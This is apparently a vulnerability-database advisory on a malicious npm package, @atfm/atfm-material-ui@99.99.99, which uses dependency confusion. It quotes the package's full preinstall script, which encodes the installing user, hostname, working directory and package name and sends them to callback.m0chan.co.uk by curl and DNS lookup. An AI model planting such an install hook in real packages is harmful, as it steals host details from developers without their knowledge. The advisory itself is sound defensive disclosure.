---
id: "MAL-2026-18601"
kind: "package"
aliases: ["MAL-2026-18601"]
title: "Malicious code in @atfm/atfm-material-ui (npm)"
severity: "critical"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@atfm/atfm-material-ui", "fixed": [], "affected": "= 99.99.99", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["malicious", "package"]
not_affected_if: []
published_at: "2026-10-30T16:30:00+00:00"
first_seen_at: "2026-11-04T06:25:04+00:00"
updated_at: "2026-11-04T06:40:32+00:00"
sources: [{"source": "osv-malicious", "url": "https://osv.dev/vulnerability/MAL-2026-18601", "first_seen_at": "2026-11-04T06:25:04+00:00"}]
---

# Malicious code in @atfm/atfm-material-ui (npm)

## Affected

- npm:@atfm/atfm-material-ui affected = 99.99.99 fixed ?

## Timeline

- 2026-11-04T06:25:04+00:00 osv-malicious https://osv.dev/vulnerability/MAL-2026-18601

## From the sources

@atfm/atfm-material-ui@99.99.99 is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:

```
b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk
```

The same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
